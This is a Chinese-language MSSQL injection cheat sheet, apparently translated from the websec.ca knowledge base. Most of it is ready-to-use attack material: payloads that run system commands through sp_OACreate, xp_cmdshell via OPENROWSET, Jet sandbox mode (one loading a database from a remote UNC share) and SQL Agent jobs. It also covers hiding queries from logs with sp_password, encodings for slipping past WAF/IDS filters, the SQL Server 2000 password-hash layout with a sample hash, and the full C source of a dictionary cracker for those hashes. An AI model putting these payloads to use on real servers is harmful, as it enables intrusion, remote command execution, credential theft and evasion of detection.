MSSQL注射知识库 v 1.0 非常齐全

附:SQL Server 提供了sp_OACREATE和sp_OAMethod函数,可以利用这两个函数调用OLE控件,间接获取一个shell。使用SP_OAcreate调 用对象wscript。shell赋给变量@shell,然后使用SP_OAMETHOD调用@shell的属性run执行命令。

3.JET 沙盒模式执行系统命令(Sandbox Mode)

在默认情况下Jet数据引擎不支持select shell("net user ")这样的SQL语句,必须开启JET引擎的沙盒模式才能执行命令,先利用xp_regwrite存储过程改写注册表,然后利用OpenRowSet访问一个ACCESS数据库文件,再执行运行命令的SQL语句

激活沙盒模式:

Windows 2003

  1. exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--

Windows 2008 R2

exec  master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Wow6432Node\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

Windows 2003 + SQL Server2000   沙盒模式执行命令的语句:

(Windows 2003 系统c:\windows\system32\ias\目录下默认自带了2个Access数据库文件ias.mdb/dnary.mdb,所以直接调用即可.)

  1. select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user  >c:\test.txt ")');

Windows 2008 R2+SQL Server2005  沙盒模式执行命令的语句:

Windows 2008 R2 默认无Access数据库文件,需要自己上传,或者用UNC路径加载文件方能执行命令.

  1. select * from openrowset('microsoft.jet.oledb.4.0',';database=\\192.168.1.8\file\ias.mdb','select shell("c:\windows\system32\cmd.exe /c net user  >c:\test.txt ")');

SQL Server2008 默认未注册microsoft.jet.oledb.4.0接口,所以无法利用沙盒模式执行系统命令.)

4.OPENROWSET调用xp_cmdshell 执行系统命令:

(在知道sa权限帐号密码情况下,db_owner或者public的数据库权限使用OPENROWSET调用xp_cmdshell 执行系统命令.)

  1. SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'p4ssw0rd', 'SET FMTONLY OFF execute master..xp_cmdshell "ver"');

小技巧:

使用 for xml  实现执行内容回显:

     for xml  raw/auto           适用于SQL Server 2000及以上版本 **(**附**:此法只能取首行数据,问题待解决.)**     
  1. or 1 in(SELECT * FROM OPENROWSET('SQLOLEDB', 'trusted_connection=yes', 'SET FMTONLY OFF execute master..xp_cmdshell "set"'))for xml raw 
  2. or 1 in(SELECT * FROM OPENROWSET('SQLOLEDB', 'trusted_connection=yes', 'SET FMTONLY OFF execute master..xp_cmdshell "set"'))for xml auto
     for xml  path           适用于SQL Server 2005及以上版本,虽然是一次性获取所有内容,但是取出内容数量取决于表定     义的长度.     
  1. SELECT * FROM OPENROWSET('SQLOLEDB', 'trusted_connection=yes', 'SET FMTONLY OFF execute master..xp_cmdshell "ver"') for xml path  
  2. SELECT * FROM OPENROWSET('SQLOLEDB', '192.168.1.117';'sa';'123456', 'SET FMTONLY OFF execute master..xp_cmdshell "ver"')for xml path

附:

回显内容超过表定义长度将会出现内容为 "将截断字符串或二进制数据。"的错误

5.SQL代理执行系统命令(SQLSERVERAGENT):

  1. use msdb exec sp_delete_job null,'x';
  2. exec sp_add_job 'x';
  3. exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c  net start >C:\test.txt';
  4. exec sp_add_jobserver Null,'x',@@servername exec sp_start_job 'x';

SQLSERVERAGENT服务默认是禁用的,先利用xp_servicecontrol激活SQLSERVERAGENT,然后建立一个SQL计划任务马上运行这个SQL任务实现命令执行。)

激活SQLSERVERAGENT的语句:

  1. exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'

其他获取系统信息的函数

1.历遍目录

  1. exec master.dbo.xp_dirtree 'c:\'

2.获取子目录

  1. exec master.dbo.xp_subdirs 'c:\'

3.列举可用的系统分区

  1. exec master.dbo.xp_availablemedia

4.判断目录或文件是否存在

  1. exec master..xp_fileexist 'c:\boot.ini'

SP_PASSWORD (隐藏查询

在查询结束后追加sp_password,T-SQL日志作为一项安全措施隐藏它

SP_PASSWORD

Example:

  1. ' AND 1=1--sp_password

输出:

-- 'sp_password的'在该事件文本中被发现。('sp_password' was found in the text of this event.)
-- 出于安全原因,该文本已被替换成注释。( The text has been replaced with this comment for security reasons.)
  • 这个方法不理解,望小伙伴们解答.

层叠查询

MSSQL支持 层叠查询

示例:<在select中插入insert update等>

  1. ' AND 1=0 INSERT INTO ([column1], [column2]) VALUES ('value1', 'value2');

模糊测试和混淆

允许中间字符

以下字符可以作为空格符。

示例:

  1. S%E%L%E%C%T%01column%02FROM%03table;
  2. A%%ND 1=%%%%%%%%1;

附:
关键词之间的百分比符号只在ASP(X)的Web应用程序中有效。

下面的字符也可用来避免空格

  1. 22    "
  2. 28  
  3. 29    
  4. 5B    [
  5. 5D    ]

示例:

  1. UNION(SELECT(column)FROM(table));
  2. SELECT"table_name"FROM[information_schema].[tables];

AND/OR可以使用中间符号:

  1. 01 - 20 范围
  2. 21  !
  3. 2B  +
  4. 2D  -
  5. 2E  .
  6. 5C  \
  7. 7E  ~

示例:

  1. SELECT 1FROM[table "0" not found /] WHERE\1=\1AND\1=\1;

附:
反斜杠似乎不适用于MSSQL 2000中.

编码

编码注射语句,有利于躲避WAF / IDS检查。

     URL编码(URL Encoding)           SELECT %74able_%6eame FROM information_schema.tables;     
     双重URL编码(Double URL Encoding)           SELECT %2574able_%256eame FROM information_schema.tables;     
     Unicode编码(Unicode Encoding)          SELECT %u0074able_%u6eame FROM information_schema.tables;     
     无效的十六进制编码(Invalid Hex Encoding (ASP)           SELECT %tab%le_%na%me FROM information_schema.tables;     
     十六进制编码(Hex Encoding)           ' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S);--     
     HTML实体(HTML Entities 待验证)           %26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B%26%2361%3B%26%2349%3B     

密码散列

0x0100密码开始,0x 后的第一个字节是一个常数,接下来的八个字节是哈希盐,剩下的80个字节是两个散列,第一40个字节是区分大小写的密码哈希值,而第二个40字节为大写形式密码哈希值。

0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE91C0784B911D76BF4EB124550ACABDFD1457

密码破解

可以利用Metasploit的JTR模块进行破解

MSSQL 2000密码破解

(此工具用于破解微软的SQL Server 2000的密码。)

///////////////////////////////////////////////////////////////////////////////// // //           SQLCrackCl // //           This will perform a dictionary attack against the //           upper-cased hash for a password. Once this //           has been discovered try all case variant to work //           out the case sensitive password. // //           This code was written by David Litchfield to //           demonstrate how Microsoft SQL Server 2000 //           passwords can be attacked. This can be //           optimized considerably by not using the CryptoAPI. // //           (Compile with VC++ and link with advapi32.lib //           Ensure the Platform SDK has been installed, too!) // ////////////////////////////////////////////////////////////////////////////////// #include <stdio.h> #include <windows.h> #include <wincrypt.h> FILE *fd=NULL; char *lerr = "\nLength Error!\n"; int wd=0; int OpenPasswordFile(char *pwdfile); int CrackPassword(char *hash); int main(int argc, char *argv[]) {              int err = 0;         if(argc !=3)                   {                             printf("\n\n*** SQLCrack *** \n\n");                             printf("C:\\>%s hash passwd-file\n\n",argv[0]);                             printf("David Litchfield ([email protected])\n");                             printf("24th June 2002\n");                             return 0;                   }         err = OpenPasswordFile(argv[2]);         if(err !=0)          {            return printf("\nThere was an error opening the password file %s\n",argv[2]);          }         err = CrackPassword(argv[1]);         fclose(fd);         printf("\n\n%d",wd);         return 0; } int OpenPasswordFile(char *pwdfile) {         fd = fopen(pwdfile,"r");         if(fd)                   return 0;         else                   return 1; } int CrackPassword(char *hash) {         char phash[100]="";         char pheader[8]="";         char pkey[12]="";         char pnorm[44]="";         char pucase[44]="";         char pucfirst[8]="";         char wttf[44]="";         char uwttf[100]="";         char *wp=NULL;         char *ptr=NULL;         int cnt = 0;         int count = 0;         unsigned int key=0;         unsigned int t=0;         unsigned int address = 0;         unsigned char cmp=0;         unsigned char x=0;         HCRYPTPROV hProv=0;         HCRYPTHASH hHash; DWORD hl=100; unsigned char szhash[100]=""; int len=0; if(strlen(hash) !=94)           {                   return printf("\nThe password hash is too short!\n");           } if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X'))           {                   hash = hash + 2;                   strncpy(pheader,hash,4);                   printf("\nHeader\t\t: %s",pheader);                   if(strlen(pheader)!=4)                             return printf("%s",lerr);                   hash = hash + 4;                   strncpy(pkey,hash,8);                   printf("\nRand key\t: %s",pkey);                   if(strlen(pkey)!=8)                             return printf("%s",lerr);                   hash = hash + 8;                   strncpy(pnorm,hash,40);                   printf("\nNormal\t\t: %s",pnorm);                   if(strlen(pnorm)!=40)                             return printf("%s",lerr);                   hash = hash + 40;                   strncpy(pucase,hash,40);                   printf("\nUpper Case\t: %s",pucase);                   if(strlen(pucase)!=40)                             return printf("%s",lerr);                   strncpy(pucfirst,pucase,2);                   sscanf(pucfirst,"%x",&cmp);           } else           {                   return printf("The password hash has an invalid format!\n");           } printf("\n\n       Trying...\n"); if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL                 ,0))   {           if(GetLastError()==NTE_BAD_KEYSET)                   {                             // KeySet does not exist. So create a new keyset                             if(!CryptAcquireContext(&hProv,                                                  NULL,                                                  NULL,                                                  PROV_RSA_FULL,                                                  CRYPT_NEWKEYSET ))                                {                                         printf("FAILLLLLLL!!!");                                         return FALSE;                                }            } } while(1)          {            // get a word to try from the file            ZeroMemory(wttf,44);            if(!fgets(wttf,40,fd))               return printf("\nEnd of password file. Didn't find the password.\n");            wd++;            len = strlen(wttf);            wttf[len-1]=0x00;            ZeroMemory(uwttf,84);            // Convert the word to UNICODE            while(count < len)                      {                                uwttf[cnt]=wttf[count];                                cnt++;                                uwttf[cnt]=0x00;                                count++;                                cnt++;                      }            len --;            wp = &uwttf;            sscanf(pkey,"%x",&key);            cnt = cnt - 2;            // Append the random stuff to the end of            // the uppercase unicode password            t = key >> 24;            x = (unsigned char) t;            uwttf[cnt]=x;            cnt++;            t = key << 8;            t = t >> 24;          x = (unsigned char) t;          uwttf[cnt]=x;          cnt++;          t = key << 16;          t = t >> 24;          x = (unsigned char) t;          uwttf[cnt]=x;          cnt++;          t = key << 24;          t = t >> 24;          x = (unsigned char) t;          uwttf[cnt]=x;          cnt++; // Create the hash if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))          {                    printf("Error %x during CryptCreatHash!\n", GetLastError());                    return 0;          } if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))          {                    printf("Error %x during CryptHashData!\n", GetLastError());                    return FALSE;          } CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0); // Test the first byte only. Much quicker. if(szhash[0] == cmp)          {                    // If first byte matches try the rest                    ptr = pucase;                    cnt = 1;                    while(cnt < 20)                    {                                ptr = ptr + 2;                                strncpy(pucfirst,ptr,2);                                sscanf(pucfirst,"%x",&cmp);                                if(szhash[cnt]==cmp)                                         cnt ++;                                else                                {                                         break;                                }                    }                    if(cnt == 20)                    {                         // We've found the password                         printf("\nA MATCH!!! Password is %s\n",wttf);                         return 0;                      }              }              count = 0;              cnt=0;            }   return 0; }

PS:英文原文内容来源于:http://websec.ca/kb/sql_injection#MSSQL_Testing_Version